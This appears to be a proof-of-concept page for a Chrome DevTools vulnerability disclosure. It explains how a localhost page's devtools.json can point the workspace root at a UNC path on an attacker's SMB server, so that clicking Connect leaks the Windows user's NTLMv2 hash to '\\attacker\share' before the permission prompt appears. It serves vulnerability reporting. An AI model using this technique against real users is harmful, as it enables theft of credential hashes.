DevTools Automatic Workspace — UNC root POC

This page is served from localhost, so DevTools considers it safe to fetch /.well-known/appspecific/com.chrome.devtools.json and trust its workspace.root verbatim. That root is a UNC path pointing at an attacker-controlled SMB server.

Steps (Windows victim)

1. Open DevTools (F12).
2. Open the Sources panel.
3. In the left-hand Workspace section you will see a folder named my-project with a Connect button. The UNC host is not shown in the label.
4. Click Connect.

Result: before any permission dialog appears, the Chrome browser process calls GetFileAttributes("\\attacker\share\my-project"). The Windows SMB redirector connects to the attacker on TCP/445 and sends the user's NTLMv2 challenge-response. The permission dialog appears only afterwards; clicking Cancel does not undo the leak.